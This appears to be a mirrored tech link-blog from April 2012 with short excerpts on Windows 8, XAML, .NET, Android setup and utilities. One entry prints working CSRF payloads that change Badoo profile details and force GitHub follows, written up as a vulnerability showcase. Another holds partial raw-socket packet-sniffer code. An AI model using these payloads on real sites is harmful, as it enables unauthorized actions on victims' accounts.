This is a mirror of official site: http://jasper-net.blogspot.com/

Microsoft DaRT 8 Beta Q&A

| Saturday, April 7, 2012
This week I had a chance to sit down with Craig Ashley, product manager for Microsoft’s Diagnostics and Recovery Toolset (DaRT), to discuss the next release of the toolset and the public beta that is now available.

DaRT has been a favorite tool for many IT pros, dating back to its days as part of Winternals Admin Pack. As a quick review, the taoolset can help IT professionals reduce the challenges associated with troubleshooting and repairing system failures on Windows-based desktops, saving time for both them and users. Administrators can easily recover PCs that have become unusable, rapidly diagnose probable causes of issues, and quickly repair unbootable or locked-out systems, all without leaving the office, making it much faster than the average time it takes to reimage a machine. When necessary, it can also quickly restore critical lost files. This helps make PCs safer to use, makes them easier and less expensive to manage, and keeps employees productive,.

For additional details on DaRT or other products within the Microsoft Desktop Optimization Pack, visit the MDOP Resource Zone on TechNet.

Stephen: Craig, thanks for taking time to chat with me. Let’s jump right in. Many IT Pros have been using DaRT for many years now. What’s new in DaRT 8 for them?

Craig: Absolutely Stephen. I am very excited to start talking about DaRT 8 and get users involved in our beta that is now available.

With regard to what will be new in DaRT 8, we chose to focus on two key investment areas: support for new software and hardware platforms, and improving the image creation process.

First, let’s start with the new software and hardware platforms supported by DaRT 8. If you have not heard the buzz around the technology world, there is a new version of Windows and Windows Server that will be available later this year. One key focus with DaRT 8 is compatibility with these two new versions, Windows 8 and Windows Server 8.

Additionally, we needed to look at supporting some new hardware requirements arriving in the upcoming months as well. The first is support for GUID Partition Tables, which allows tools like Disk Wipe, Disk Commander, File Restore, and Computer Management to work with GPT disks.  The second is supporting the UEFI boot process, allowing users with UEFI machines to boot into DaRT.

Read more: Windows Blog
QR: Inline image 1

Posted via email from Jasper-net

Paragon Go Virtual: Convert Host PC to Guest Virtual Machine & Set VM Properties

|
Inline image 2

P2V (physical to virtual machine) conversion tools are developed to clone physical computer in virtual hard disk image format, so that users can easily use their converted physical machine on virtualization software. There are certainly endless situations where one needs to turn physical computer into virtual machine. Consider an instance where you’re updating your system, and don’t want to go through the hassle of backing up all the data, installed applications with saved preferences, registry hives and more. In such a situation, what you can do is use a P2V conversion utility to take a snapshot of your physical machine and run it in Oracle VirtualBox, VMware Player, or Microsoft’s Virtual PC. This will make it easy to restore the data from old PC and use installed application with saved preferences on a new host computer.

Paragon Go Virtual is application for Windows that lets you convert your physical computer into virtual machine. It presents a simple wizard which guides you through the process of converting the physical machine. You can also choose the target virtualization software (VMware, Virtual Box, or Virtual PC) that you want to use to run the converted physical machine on your host system. All you need is to launch the wizard, specify the hard disk partition where Windows is installed, and configure virtual machine settings to start converting your physical machine. When launched for the first time, it asks you enter the product key and serial number. Clicking Get Free Serial takes your directly to registration form, where you need to enter the required details to get the serial number.

The main interface lets you create a new virtual disk and adjust OS on existing virtual disk. Just click P2V Copy to launch wizard for copying an entire hard disk or separate volumes to new virtual machine.

Read more: Addictive tips
QR: Inline image 1

Posted via email from Jasper-net

A replacement for MemoryStream

| Thursday, April 5, 2012
Inline image 2

Introduction

This article explains the cause of the ambiguous OutOfMemoryException that is common when using MemoryStream with large datasets, and introduces a class, MemoryTributary, which is intended as an alternative to .NET's MemoryStream that is capable of handling large amounts of data.

Background 

When attempting to use MemoryStream with relatively large datasets (in the order of tens of MB), it is common to encounter the OutOfMemoryException. This is not due to, as the name would imply, having reached limitations of the system memory, but in fact those of the process' virtual address space.

When a process requests memory from Windows, the memory manager is not allocating address space from RAM, but 'pages' - chunks (typically 4KB) of storage - which can exist in the RAM, or on disk, or anywhere the memory manager decides to store them. The pages are mapped into the address space of the process, so, for example, when the process attempts to access the memory starting at [0xAF758000], it is in reality accessing the byte at the beginning of [Page 496], wherever Page 496 happens to be. The process therefore can allocate as much memory as it likes so long as the disk space holds out, and can map as much of it as will fit into its virtual address space at any one time - provided, that is, these allocations are made in a large number of small chunks.

This is because the process address space is fragmented: large sections are taken up by the Operating System, others for the executable image, libraries, and all the other previous allocations. Once the memory manager has allocated a set of pages equivalent to the requested size, the process must map them into its address space - but if the address space does not contain a contiguous section of the requested size, the pages cannot be mapped, and the allocation fails with the OutOfMemoryException.

The process is not running out of space, or even addresses: it is running out of sequential addresses. To see this (if you are on 64 bit), target the following program at x86 and run it, then target it at x64 and see how much farther it gets.

Read more: Codeproject
QR: Inline image 1

Posted via email from Jasper-net

#522 – Keyboard Shortcuts in Blend

|
Blend provides keyboard shortcuts for a number of common operations.  Here is a list of some usefule keyboard shortcuts.

Shortcuts for Design mode on Artboard

V – Selection tool
A – Direct Selection tool
H – Pan tool
Z – Zoom tool
O – Camera Orbit tool
I – Eyedropper tool
F – Paint Bucket tool
G – Gradient tool
B – Brush Transform tool
P – Pen tool
Y – Pencil tool
M – Rectangle tool
L – Ellipse tool
\ – Line tool
T – Insert currently selected text or label control: TextBlock, TextBox, RichTextBox, PasswordBox, Label or FlowDocumentScrollViewer

Shortcuts for working with objects on Artboard

Ctrl+C – Copy
Ctrl+X – Cut
Ctrl+V – Paste
Ctrl+Z – Undo
DELETE – Delete

QR: Inline image 1

Posted via email from Jasper-net

Using the Windows Software Development Kit (SDK) for Windows 8 Consumer Preview with Visual Studio 2010

|
Inline image 2

Now that the Windows Software Development Kit (SDK) for Windows 8 Consumer Preview has been released, I would like to show you how you can use the Windows 8 SDK with Visual Studio 10.
 
Note the location of your Win8 SDK install – by default it is %PROGRAMFILES%\Windows Kits\8.0\
Open your project in VS 2010.  The instructions to do this in VS11 with the v100 platform toolset are similar and you may try that out as well, but these instructions below show how to do this in VS 2010.
For each project where you want to use the Windows 8 SDK, go to project properties, VC++ Directories

QR: Inline image 1

Posted via email from Jasper-net

How to fix the xaml bug in Silverlight 4 regarding namespaces

|
Sometimes, you get a nasty issue when using Silverlight 4. When building your xaml files, you get a compiler error that looks like this:

public partial class ChildDialog : DataWindow { }

"Error 1 The type or namespace name 'DataWindow' could not be found (are you missing a using directive or an assembly reference?)"

This issue occurs when you are using xaml namespaces in the form of an url. For example, when using Catel, all types can be used by including the following xaml:

  xmlns:catel=”http://catel.codeplex.com

You can fix this by following this workflow:

Clean the solution
Remove the catel namespace in the xaml
Save the page
Add the catel namespace again
Save the page
Rebuild the solution

Read more: Geert van Horrik
QR: Inline image 1

Posted via email from Jasper-net

Packet Sniffer Code in C using Linux Sockets (BSD)

|
To code a sniffer in C (Linux) the steps would be :

1. Create a Raw Socket.
2. Put it in a recvfrom loop.

A raw socket when put in recvfrom receives all incoming packets. The following code shows an example of such a sniffer. Note that it sniffs only incoming packets. For sniffing all traffic on a network a packet capture library like libpcap can be used.

Code : sniffer.c

#include<stdio.h> //For standard things
#include<stdlib.h> //malloc
#include<string.h> //memset
#include<netinet/ip_icmp.h> //Provides declarations for icmp header
#include<netinet/udp.h> //Provides declarations for udp header
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
#include<sys/socket.h>
#include<arpa/inet.h>

void ProcessPacket(unsigned char* , int);
void print_ip_header(unsigned char* , int);
void print_tcp_packet(unsigned char* , int);
void print_udp_packet(unsigned char * , int);
void print_icmp_packet(unsigned char* , int);
void PrintData (unsigned char* , int);

int sock_raw;
FILE *logfile;
int tcp=0,udp=0,icmp=0,others=0,igmp=0,total=0,i,j;
struct sockaddr_in source,dest;

int main()
{
int saddr_size , data_size;
struct sockaddr saddr;
struct in_addr in;

unsigned char *buffer = (unsigned char *)malloc(65536); //Its Big!

logfile=fopen("log.txt","w");
if(logfile==NULL) printf("Unable to create file.");
printf("Starting...\n");
//Create a raw socket that shall sniff
sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_TCP);
if(sock_raw < 0)
{
printf("Socket Error\n");
return 1;
}
while(1)
{
saddr_size = sizeof saddr;
//Receive a packet

Read more: BinaryTides
QR: Inline image 1

Posted via email from Jasper-net

How to set up Ubuntu Linux for Android Development

|
Inline image 2

I’ve been developing cross platform apps using HTML5 for deployment across Desktops, Tablets, and Phones. Lots of interesting apps can be built without talking to the hardware but sooner or later, we always want to go deeper. Mozilla is working Won an exciting “Web Runtime” ( read more here ) and there is a version of Firefox for Android.

Though I don’t want to build native Android Apps, I do want to get under the covers and experiment with building the Open Web Apps runtime components (it’s so cool working for an organization where EVERYTHING we build is open source and available for download WHILE it’s being developed.)

Since I hit a couple of snags getting things set up I though I’d share the steps that I used in the hopes that it would help someone else who is just getting started.

Though there are good commercial Java / Android Development tools available, the standard is to use Eclipse and the ADT, so that’s what I’ll be setting up in the steps below.

Eclipse is itself a Java App. On my Ubuntu machine the default Java Runtime was OpenJDK which is not recommended for running Eclipse.

So the first thing that we want to do is make sure that we have our Ubuntu system up to date, the latest version of the Java run-time and JDK installed and our Ubuntu box configured to use the Sun versions by default.

Start by opening up a terminal window.

QR: Inline image 1

Posted via email from Jasper-net

Набор полезных утилит и библиотек мира .NET

|
Довольно часто так бывает что кто-то когда-то сделал прекрасную вещь, а она либо никем так и не была найдена, либо быстро забыта. Потихоньку я буду стараться предоставлять в серии топиков информацию по различным проектам, на которые стоит обратить внимание. Многие из них специфичны. И тем еще более интересны.

IL Stub Diagnostic Tool

Inline image 1

IL заглушки (stubs) динамически генерируются во время работы приложения на лету и управляют маршаллингом и вызовом целевого метода. IL Stub Diagnostic tool была создана чтобы улучшить качество отладки приложений. Это real-time монитор, который показывает детали каждой IL заглушки, создаваемой в исследуемом процессе. Для каждой заглушки утилита показывает ее IL код и сигнатуры Managed/Unmanaged методов

Ссылка на сам проект: http://clrinterop.codeplex.com/

P/Invoke Interop Assistant

Read more: Habrahabr.ru
QR: Inline image 2

Posted via email from Jasper-net

Звонки из веб-интерфейса Gmail в Skype

|
Inline image 2

В статье описывается способ звонить в Skype через Google Voice из интерфейса Gmail с помощью sip-шлюза. Вместе с этим будет доступен прямой американский номер на который можно принимать любые входящие звонки и SMS и звонить на любые американские номера. 

Способ несколько извращенный, но свою задачу выполняет. Изначальная задача была иметь возможность участвовать в скайп-конференции при этом не устанавливать Skype и обойтись только браузером. 

Google Voice

Самый трудоемкий момент — это получение аккаунта в Google Voice. 

Данная инструкция двухгодичной давности в принципе актуальна habrahabr.ru/post/94970/ разве только американский прокси не обязателен, у меня получалось через нидерландский и немецкий.

За два года Google Voice научился нормально принимать SMS, переправлять их на почту (правда сообщения, содержащие кирилические символы, не доходят из некоторых сетей) и записывать разговоры. 

Так же теперь при регистрации номера можно попытаться подобрать мнемонический номер из указанного слова, как например +1-800-MY-APPLE (call-центр Apple). На удивление, номеров довольно много и найти соответствие можно для большого количества слов.

Read more: Habrahabr.ru
QR: Inline image 1

Posted via email from Jasper-net

Microsoft перевел в Open Source еще одну часть стека технологий ASP.NET

|
Inline image 2

Пару дней назад Microsoft анонсировал что еще один компонент .Net Framework будет доступен для скачивания в исходных текстах по лицензии Apache License 2.0. Таким образом, теперь весь ASP.NET стек распространяется в исходных текстах, включая Razor Engine, System.Json, Web API и Web Pages. Он доступен как для скачивания так и для просмотра истории изменения. С этим релизом вся группа проектов будет работать по правилам Open Source, делая возможным включения своего собственного функционала и исправления ошибок любым членом сообщества, при полной поддержке кода со стороны Microsoft. 

Mono и новые стеки

Мы импортировали копию дерева GIT с Codeplex в GitHub's Mono organization в модуль aspnetwebstack.

Модуль Mono на данный момент имеет зависимость от модуля aspnetwebstack, так что когда вы в следующий раз выполните команду autogen.sh, то получите полную копию aspnetwebstack.

Также, с сегодняшнего дня мы заменили нашу реализацию System.Json (которая, изначально, была сделана для Moonlight) реализацией от Microsoft.

Другие библиотеки, такие как Razor будут следующими, т.к. по сути их импортирование тривиально. Однако есть проблема: ASP.NET MVC 4 сейчас зависит от нашей реализации стека ASP.NET, в которой необходимо доделать поддержку асинхронности.

Read more: Habrahabr.ru
QR: Inline image 1

Posted via email from Jasper-net

.NET and Metro: The Windows Runtime and the CLR on Windows 8

|
Many developers tend to look at Windows 8 as a completely new platform and even question whether it heralded the imminent demise of managed code. After spending many months digging into the Windows Runtime (WinRT), Metro style or “tailored” applications, and exploring how they related to the .NET Framework, I’ve come to the conclusion that the two work very closely together and in fact are engineered to integrate. That means good news for managed developers. The .NET Framework 4.5 is very much “Metro-aware” while the Windows Runtime knows how to shake hands with the CLR. The purpose of this post is to elaborate on this a bit more than what I covered in my Portable Class Library series.

METADATA

The first thing to note is that WinRT components, regardless of what language they were written in, share the same metadata format as .NET Framework assemblies. This is what allows you to navigate to the metadata folder at c:\windows\system32\WinMetadata and be able to use ildasm.exe to expose the definitions of WinRT components that are part of the Windows 8 operating system. The standard is documented as ECMA-335 and you can check this link to learn more.

As part of this metadata, types and assemblies can be tagged with a new Intermediate Language (IL) keyword called windowsruntime. This keyword tags the type as a WinRT component. The .NET Framework uses this to know when to marshal parameters because the WinRT type system is not the same as the one supported by the CLR. Fortunately, this is supported “under the covers” as you’ll see in the next section. When an assembly is tagged with the keyword, it instructs the .NET Framework to use a special APIs like the one called RoResolveNamespace to load references. This is a way that all supported WinRT languages can access underlying components.

TYPE CONVERSION

As I mentioned, the .NET Framework does some magic with type conversion. This happens in both directions (calls into and values received from WinRT components). This is not new – this has been supported for awhile and you can see a list of Default Marshaling for Value Types in the MSDN documentation. A System.Int32 becomes a ELEMENT_TYPE_I4 and vice versa. These are what are referred to as “fundamental types.”

In addition, however, the CLR performs implicit mapping to more complex types. If you’ve been doing any Windows 8 development, you are probably familiar with conversions that look like this:

Windows.Foundation.Collections.IVector<T> <= => System.Collections.Generic.IList<T>

Read more: C#:IMage
QR: Inline image 1

Posted via email from Jasper-net

Scrypt RSA Cryptography for Silverlight 3+ and Windows Phone 7

|
Project Description 
The Scrypt RSA Library provides asymmetric encryption capabilities for Microsoft Silverlight 3+ and Windows Phone 7. In this initial release we've added RSA Encryption with support for key sizes from 256-bit to 4096-bit. 
This library is fully compatible with .NET's built in RSACryptoServiceProvider. Successful testing has been done on a Windows Phone 7 device as well. 

QR: Inline image 1

Posted via email from Jasper-net

#527 – Colorful Expression Add-in Connects to Adobe Kuler

|
The Adobe Kuler web app lets you easily create various palettes of related colors.  The Colorful Expression project on Codeplex brings the functionality of Kuler into Expression Blend.

To use the Colorful Expression add-in:
Download the .zip file
Extract files to the Extensions sub-directory under the Blend directory (e.g. C:\Program Files (x86)\Microsoft Expression\Blend 4\Extensions)
Start Blend normally

You’ll now see a Colorful Expression entry under the Window menu.

Inline image 2

QR: Inline image 1

Posted via email from Jasper-net

Windows 8: flickR searching demo in .NET and JS

|
At last week’s Windows 8 developer events in London, I did a simple demo of putting together a flickR search for photographs using the Windows 8 Metro style app search contract. I didn’t implement all of the search contract, just a little of it and we didn’t get into how your application is launched for search and that kind of thing.

Someone asked whether I could record the demo and put it onto my site here so I’ve done that and am embedding the video below. I also added a bit of a back-and-forth between doing this in both .NET and in JavaScript and I added one or two more bits into the demo like the share contract.

This isn’t meant to be comprehensive or complete or correct or anything like that. I miss various things out like error handling and things like what to do when your app is launched for search rather than when it’s already running.

Here’s the video, I’d recommend full screen or download;

Read more: Mike Taulty's Blog
QR: Inline image 1

Posted via email from Jasper-net

Set up Remote Desktop Connection and Printer in Windows 8 Consumer Preview

|
Introduction

With Remote Desktop Connection, you can sit at one computer and connect to another computer in a different location. Remote Desktop is a feature providing a remote connection between computers over the internet in Windows 8 Consumer Preview. Windows 8 provides the Set Up Printer in Windows 8 Consumer Preview.

Set Up Remote Desktop Connection

Once connected, Remote Desktop gives you mouse and keyboard control over your computer while showing you everything that's happing on the screen. With the Remote Desktop in the Windows 8 Operating System, a Windows 8 user can easily control a computer from another computer. You can can leave your computer at the office without losing access to your files and applications. The Windows 8 Remote Desktop provides Aero and multi-monitor support. With the help of a Remote Desktop connection you can connect to your work from home and access all programs, files and network resources.

But three requirements must be completed before enabling Windows 8 Remote Desktop. First Windows 8 should be installed on your computer containing those files and programs which you access and be a part of the corporate network permitting a Remote Desktop Connection. So it is called the host. Secondly this computer must have the client Remote Desktop connection installed so it (the Remote Computer) is named as the client. Both host and client should be connected to the internet by a VPN connection. It does not matter, the actual IP of the host computer should be used for the VPN.

How to install the Windows 8 Remote Desktop Connection:

Verify you are signed in as administrator.
Click Start, then right click on the computer and choose properties and you can press Win + Pause Break at the same time.
Choose Remote Setting in the Control Panel; a window pops up after clicking properties.
After the third step, check "Allow Remote Assistance to this computer". Allow Connection only when computers running Remote Desktop with network level authentication (more secure) or any version of Remote Desktop (less secure).
after the above step click apply.
After completing all those steps, you are connected using Remote Desktop in Windows 8 and you can access any machine of your Windows 8 computers.

Remote Desktop is a Metro based full screen application that allows users to add very important functionality to the system. A Remote Desktop is very useful for developers and other people working as a distributed team that needs to either collaborate their Desktop or help to each other. People of different related fields may need to perform various system tasks, perform system checks, install or uninstall software, manage permissions and provide other solutions to some users from another location.

Read more: C# Corner
QR: Inline image 1

Posted via email from Jasper-net

Windows 8 Secrets: The WinX Menu and its hashing algorithm

|
Last week, a reader – “Windows Fan” – tipped me off to an article on Vishal Guptas blog indicating how to customize the new WinX menu in Windows 8. (You know, the menu that appears when you right-click the lower-left Start tip.) Not happy with hacking core system files and peeling back file system security, I dug a little deeper to understand what’s going on and came up with a simpler solution.

Inline image 1

So let’s start at the top. The WinX menu is a simple context menu that appears when you right-click the Start tip that appears when you squish the mouse into the lower-left corner of the screen. The purpose of the menu is not to act as a Start Menu replacement but rather as a springboard to perform advanced system functions that are slightly out of reach. For example, if you’re trying to kill a runaway system process, you will probably need quick access to Task Manager, an elevated Command Prompt, and perhaps Programs and Features to uninstall the culprit app. Launching those applications in succession via the Start Screen would be a pain in the rump.

Read more: With Windows 8
QR: Inline image 2

Posted via email from Jasper-net

How to Turn on System Protection in Windows 8

|
Introduction

Windows 8 includes a System Protection feature that allows users to restore from unwanted system changes without having to use the Windows installation disk. It creates a backup of a system and the user files that have been modified, so you can easily pick and use any previous versions of files. It basically creates and saves information about your computer's system files and settings on a regular basis. This feature saves all the modified files and other data to a System Restore Point. In order to restore all previous versions of files, all you need is to use the Windows default Restore Point utility to restore the settings as well as files. By default, it is enabled on the drive where Windows is installed, but you can enable it for other drives as well. To enable/disable Windows 7 or Windows 8 System Protection. System protection is a feature that regularly creates and saves information about your computer's system files and settings. System protection also saves previous versions of files that you've modified. It saves these files in restore points, which are created just before significant system events, such as the installation of a program or device driver. They're also created automatically once every seven days if no other restore points were created in the previous seven days, but you can create restore points manually at any time. System protection is automatically on for the drive that Windows is installed in. System protection can only be turned on for drives that are formatted using the NTFS file system.

The following steps shows how you can easily enable the system protection in Windows 8:

Step 1: Click on Start to open the Windows 8 Metro UI screen and then select CONTROL PANEL as shown below.

Inline image 2

Step 2: In the Control Panel list scroll down to the last option and click MORE SETTINGS.

Read more: C# Corner
QR: Inline image 1

Posted via email from Jasper-net

Fundamentals of Windows 8 XAML/C# Metro Style Apps

|
This is a Windows 8 XAML/C# Fundamentals presentation I gave at the Spring 2012 DevConnections conference in Las Vegas. It covers some of the key topics you need to know to get started building Windows 8 XAML Metro apps including styling, animations, invoking the Windows Runtime (WinRT), the intrinsic controls, and more that will help prepare you to develop Windows 8 Metro style apps.

You can view my other sessions from DevConnections and Orlando Code Camp here:

jQuery Fundamentals workshop
JsRender Fundamentals: Templating for HTML5 Applications
Fundamentals of Windows 8 XAML/C# Metro Style Apps
View more of my presentations here.

Read more: John Papa
QR: Inline image 1

Posted via email from Jasper-net

Metro, Direct2D and XAML – Burst of Performance in Windows 8

|
Inline image 2

Now that Windows 8 Consumer Preview is out we are eager to explore the new framework and the features it offers. While part of it is the good old XAML, there are plenty of other unique features, one of them being the DirectX integration at XAML level. While XAML is a great technology and offers literally unlimited features regarding layout and UI richness, sometimes there are cases where we need to push the framework beyond its limits in order to achieve highly-performing components with responsive and fluid user interaction. Although in most cases writing efficient algorithms and using the proper data structures will be enough to achieve the desired performance, there are scenarios where extensive UI scenes are rendered frequently and the density of the updated pixels is high. So I was most excited by the opportunity to present Direct2D content directly in XAM and started a research on how it actually works and how the performance is affected.

WinRT is a brand new framework and there is little to no information over the Internet about Direct2D and XAML integration, so I decided to summarize my efforts and to hopefully help other people who are doing the same tests. In this post I will show you a simple C++ demo that uses Direct2D and a SurfaceImageSource instance to render a Polyline with 5000 points. Microsoft has done a great job with introducing three different entry points where DirectX content may be directly embedded in a XAML application. The demo also compares the same scenario implemented with a XAML Polyline shape.

Read more: telerik
QR: Inline image 1

Posted via email from Jasper-net

XAML AppBar Button Styles for Windows 8

|
An old colleague of mine and now HTML extraordinaire, Adam Kinney, just recently posted on his spelunking of some styling in both WinJS and XAML runtimes with regard to icons/buttons to use in a Metro style app and the AppBar.

Adam has two posts:

(WinJS) Windows 8 AppBarIcons enumerated and visualized
(XAML) Windows 8 AppBarButtonStyles enumerated and visualized
Basically what these do is define a set of styles, both in CSS and XAML, that map back to unicode values in the Segoe UI Symbol font.  This contains a set of glyphs that are well-suited for use within an AppBar.  As an example in WinJS you would use:

   1: <button data-win-control="WinJS.UI.AppBarCommand" 
   2:         data-win-options="{icon:'back', label:'Back'}"><button>
And in XAML you would use:

   1: <Button Style="{StaticResource PreviousAppBarButtonStyle}" />
One thing that Adam points out is that WinJS includes definitions for a LOT of styles while the included StandardStyles.xaml file (provided for you when you create a new project in Visual Studio) defines a much smaller subset.  When determining what styles to include in the XAML set, we opted for choosing the most common rather than to bloat the ResourceDictionary with things you may not use.

NOTE: Even within the provided one, you should always make it a best practice to REMOVE styles/templates that you aren’t using so the parser doesn’t have to worry about them.
Adam also notes that he likes the style of defining the WinJS ones a bit better as he mentions the XAML syntax feels heavy.  I commented on his blog that WinJS is doing a lot of work for him here that has already defined the style.  If WinJS didn’t exist, surely it would be ‘heavy’ in defining them.  I’m still not sure why the XAML one feels heavy (once you just assume that a definition has been made for you in the ResourceDictionary provided – especially when I look above, they basically both look the same…but I digress.

One thing that I wanted to point out was how the tools, Visual Studio and Blend, help make it way easy to choose and quickly visualize these styles on the design surface.  For HTML/JS apps you need to use Blend for this as VS doesn’t support this feature at this time.  When in Blend in your HTML/JS app you can open up the control palette and see a helper for AppBar Command Button:

Inline image 1

And this produces a generic button definition much like above:

   1: <button data-win-control="WinJS.UI.AppBarCommand" 
   2:         data-win-options="{label:'Button', type:'button'}"></button>

Read more: Tim Heuer
QR: Inline image 2

Posted via email from Jasper-net

A few CSRF-like vulnerable examples.

|
Remark: Post is published on April 2(but was expected yesterday) coz Berlin haz no free wifi cause I'm not joking and I figured out that Sunday is the worst day for urgent updates. Well, who cares the date, enjoy:

TL;DR:
I'm trying hard to prove my point that statement "CSRF is only the developers' problem" is not true. I provided some examples and I want you to check them out. I really appreciate any viewpoint at this problem. Thank you for your attention in advance!

Quick overview:

showcase: 
document.write('<form action="http://badoo.com/ws/anketa-ws.phtml?ws=1" method=post> <input name="name" value="SUUUUP"><input name="fname" value="SUUUUP"><input name="sname" value="SUUUUP"><input name="birth_day" value="28"><input name="birth_month" value="01"><input name="section" value="basic"><input name="birth_year" value="1991"> </form>')

description: 
e.g. changing your profile details. No protection at all.

showcase: 
<script>
document.write('<form target=ifr name=pwn method=post action="https://github.com/users/follow?target=homakov"></form>')
pwn.submit()
</script>

description: 
makes you follow certain account without your confirmation. reported few weeks ago and fixed. 

showcase: 
description: 
deleting presentation via GET. commenting w/o confirmation. GET following etc

Read more: Egor Homakov
QR: Inline image 1

Posted via email from Jasper-net

MSDN Magazine: April 2012

|
Inline image 1

The April edition of MSDN Magazine is now available to read online. This month MSDN Magazine welcomes Scriptjunkie under its wing, and features articles looking at CSS3 Media Queries, Kinect, T4 Templates, Windows Workflow integration with Office docs, .NET 4.5, and lots more.

Read more: MSDN
QR: Inline image 2

Posted via email from Jasper-net

Knox

|
Inline image 2

Knox makes securing your files easier than ever.

Create as many encrypted vaults as you want, each with separate passwords. Then schedule automatic backups. You can even reformat USB sticks and external drives as encrypted Knox vaults - moving files between Macs has never been so simple and secure.

Military grades it military-grade

Knox uses the Mac OS X encrypted disk images feature, the technology behind FileVault, to protect your data. This means that your vaults are encrypted by the U.S. Government's new Advanced Encryption Standard (AES) with 256-bit or 128-bit key length. The AES algorithm is secure, but don't take our word for it: even the NSA has found its strength to be sufficient for protecting classified national security information. The implication? Your data will be safe whether it's a kid or a rogue nation going after it.

And because the encrypted disk images are supported as standard in Mac OS X, Knox vaults—including whole disks encrypted with Knox—can be opened even without Knox installed.

Fast Vault Switching

Knox fits to the way you work, living either on the Dock or on the menu bar. You can open, close and backup vaults directly from the always-available vaults menu. It's easy to keep the vaults you need—just the vaults you need—open, with the rest safely behind closed doors.

Read more: Knox
QR: Inline image 1

Posted via email from Jasper-net

How to Remove Windows 8 Consumer Preview Watermark In 5 Steps

| Wednesday, April 4, 2012
Inline image 2Inline image 1

I’ve installed the Windows 8 Consumer Preview and this is amazing! but the only thing annoying is the watermark on the bottom right corner.

I know you might think this is dumb, but this watermark bother my eyes… So I decided to remove it!

There is probably other ways to do that, Registry and more but I don’t want to change to much things – I know how Windows 7 worked with Images so there is not much different for Windows 8.

Read more: Shai Raiten
QR: Inline image 3

Posted via email from Jasper-net

Consuming a WCF Service with an unmanaged C++ client with credential passing

|
After much hassle I eventually got this working. This post explains how I got it to work and will try and pull together several information sources I found during the investigation.

Service, Step 1 – Bindings and Security

To maximize the interoperability of the WCF service, whilst maintaining credential flow, the WCF service needs to be setup in a particular way. The most critical issue is choosing the correct bindings and security settings; I spent ages trying to get a basicHttpbinding with security mode “TransportWithMessageCredentials” to work. This turned out to be the wrong way to do it (in our scenario). The eventual security mode was “Transport” with the transport clientCredentialType set to “Windows”

<basicHttpBinding>
<binding name="basic">
 <security mode="Transport">
  <transport clientCredentialType="Windows" />
 </security>
</binding>
</basicHttpBinding>
This basically says that the security should be provided by the transport layer (SSL with http – https), with windows credentials being passed at the transport layer (http headers – I think). The next problem is getting the service hosted in IIS.

Service, Step 2 – IIS setup

The credentials in IIS must match the service’s binding configuration. In this case this means setting the security settings to disable anonymous access and enable Windows authentication. Note that the service must be hosted on a SSL site (see this post for how to set this up). Try to build and view the service

Read more: IC0der
QR: Inline image 1

Posted via email from Jasper-net

ASP.NET Thread Usage on IIS 7.5, IIS 7.0, and IIS 6.0

|
I'd like to briefly explain how ASP.NET uses threads when hosted on IIS 7.5, IIS 7.0 and IIS 6.0, as well as the configuration changes that you can make to alter the defaults. Please take a quick look at the “Threading Explained” section in Chapter 6 of “Improving .NET Application Performance and Scalability”. Prior to v2.0 of the .NET Framework, it was necessary to tweak the processModel/maxWorkerThreads, processModel/maxIoThreads, httpRuntime/minFreeThreads, httpRuntime/minLocalRequestFreeThreads, and connectionManagement/maxconnection configuration. The v2.0 .NET Framework attempted to simplify this by adding a new processModel/autoConfig configuration, which made the changes for you at runtime. With the introduction of IIS 7.0 and the ASP.NET integrated pipeline, we've introduced another element to the mix, a registry key named MaxConcurrentRequestsPerCPU. Lets start with a discussion of how things worked on IIS 6.0 before discussing the changes made in IIS 7.0.

When ASP.NET is hosted on IIS 6.0, the request is handed over to ASP.NET on an IIS I/O thread. ASP.NET immediately posts the request to the CLR ThreadPool and returns HSE_STATUS_PENDING to IIS. This frees up IIS threads, enabling IIS to serve other requests, such as static files. Posting the request to the CLR Threadpool also acts as a queue. The CLR Threadpool automatically adjusts the number of threads according to the workload, so that if the requests are high throughput there will only be 1 or 2 threads per CPU, and if the requests are high latency there will be potentially far more concurrently executing requests than 1 or 2 per CPU. The queuing provided by the CLR Threadpool is very useful, because while the requests are in the queue there is only a very small amount of memory allocated for the request, and it is all native memory. It’s not until a thread picks up the request and begins to execute that we enter managed code and allocate managed memory.

The CLR Threadpool is not the only queue used by ASP.NET when hosted in IIS 6.0. There are also queues at the application level, within each AppDomain. If there is a lot of latency, the CLR Threadpool will grow and inject more active threads. At some point we would either run out of threads, not have enough threads left over for performing other tasks, or the memory associated with all the concurrently executing requests would be too much, so ASP.NET imposes a cap on the number of threads concurrently executing requests. This is controlled by the httpRuntime/minFreeThreads and httpRuntime/minLocalRequestFreeThreads settings. If the cap is exceeded, the request is queued in the application-level queue, and executed later when the concurrency falls back down below the limit. The performance of these application-level queues is really quite miserable. If you observe that the “ASP.NET Applications\Requests in Application Queue” performance counter is non-zero, you definitely have a performance problem. These queues were implemented to prevent thread exhaustion and contention related to web service requests. The problem was first described in KB 821268, which I had published many years ago. The KB article has been re-written a few times since it was originally published, and I hope nothing has been lost during the translations.

QR: Inline image 1

Posted via email from Jasper-net

Phonedeck lets you manage all your smartphone activity from your desktop

|
Inline image 2

Phonedeck launched in private beta late last year, and in the invitation-only period it has managed to bring on board 50,000 users globally through word-of-mouth. The cloud-based mobile phone management platform has taken on board all the feedback over the past four months, and is rolling out to the public today.

Phonedeck offers a centralized repository to let you store all of your phone contacts, manage SMS activity, monitor usage statistics and more, all from your (computer) browser. Once you register for an account through its website, you install the Phonedeck Android app on your mobile device, log-in through the app and begin syncing your smartphone to your online account.

Read more: Phonedeck
QR: Inline image 1

Posted via email from Jasper-net

Building a deployable custom control for XAML Metro style apps

|
At //build one of the surprising immediate things I heard about was folks wanting to build custom controls right away.  I knew that would happen, but not so quick on something so new (WinRT).  The XAML platform did not have good support for building custom controls in the Developer Preview but now that the Consumer Preview for Windows 8 and Visual Studio 11 Beta are out, there is much better support.  There are two key things when thinking about custom controls: 1) building it and 2) making it consumable by developers (even if those developers are your own company).  I’ll try to articulate the methods of both here.

Defining custom versus user control
There is usually some debate in the XAML community about the definition of a custom control.  For the purposes of this discussion I define a custom control as a control that provides a generic.xaml, can be styled/templated and is usually encapsulated in its own assembly which can then be distributed.  A custom control can contain user controls, but generally speaking does not.  A typical user control scenario is one that lives within your project and not meant to be consumed by anyone outside your project.

This definition is the same whether we are talking about C++, C# or Visual Basic.  Everything below applies to all languages.

Creating the custom control
